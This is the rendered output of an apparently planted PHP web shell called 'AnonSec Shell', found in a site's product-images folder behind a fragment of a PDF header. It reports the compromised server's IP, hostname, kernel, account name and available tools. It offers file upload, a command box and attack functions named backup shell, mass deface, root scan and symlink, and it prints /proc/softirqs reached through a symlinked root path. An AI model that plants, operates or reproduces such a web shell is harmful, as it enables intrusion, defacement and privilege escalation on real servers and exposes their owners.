%PDF-1.4 %Óëéá 1 0 obj <> endobj 3 0 obj <> endobj 4 0 obj < AnonSec Shell
AnonSec Shell
Server IP : 212.252.79.165  /  Your IP : 216.73.216.45   [ Reverse IP ]
Web Server : Apache
System : Linux 212-252-79-165.cprapid.com 5.15.0-153-generic #163-Ubuntu SMP Thu Aug 7 16:37:18 UTC 2025 x86_64
User : cehaburo ( 1001)
PHP Version : 8.1.33
Disable Function : exec,passthru,shell_exec,system
Domains : 48 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/cehaburo/public_html/images/product/anon_sym/anon/proc/2683/root/proc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /home/cehaburo/public_html/images/product/anon_sym/anon/proc/2683/root/proc//softirqs
                    CPU0       CPU1       CPU2       CPU3       CPU4       CPU5       CPU6       CPU7       
          HI:          0          0          0          0          0          0          0          0
       TIMER:   22959656  148660420   53408590   30075321   28035565   29884530   96727425   28493283
      NET_TX:        550        780        774        752        941        795        881     509343
      NET_RX:   26557576   26324753  142389001   42073957  118049877   44713827   26164079   46108029
       BLOCK:    3742710    5285195    4682613    4482645    4484601    4627613    4633170    4398922
    IRQ_POLL:          0          0          0          0          0          0          0          0
     TASKLET:    2867487    2885661    3042613    3134515    2973716    3932679    3298426    4013808
       SCHED:   37676808   84659950   47397629   37509610   35833704   37515752   61621356   36567410
     HRTIMER:       2560       1820       3277       6956      18282       5606       4196       5496
         RCU:   97749432  142515840  119178829  110618341  106183451  105383226  118737031  102563083

Anon7 - 2022
AnonSec Team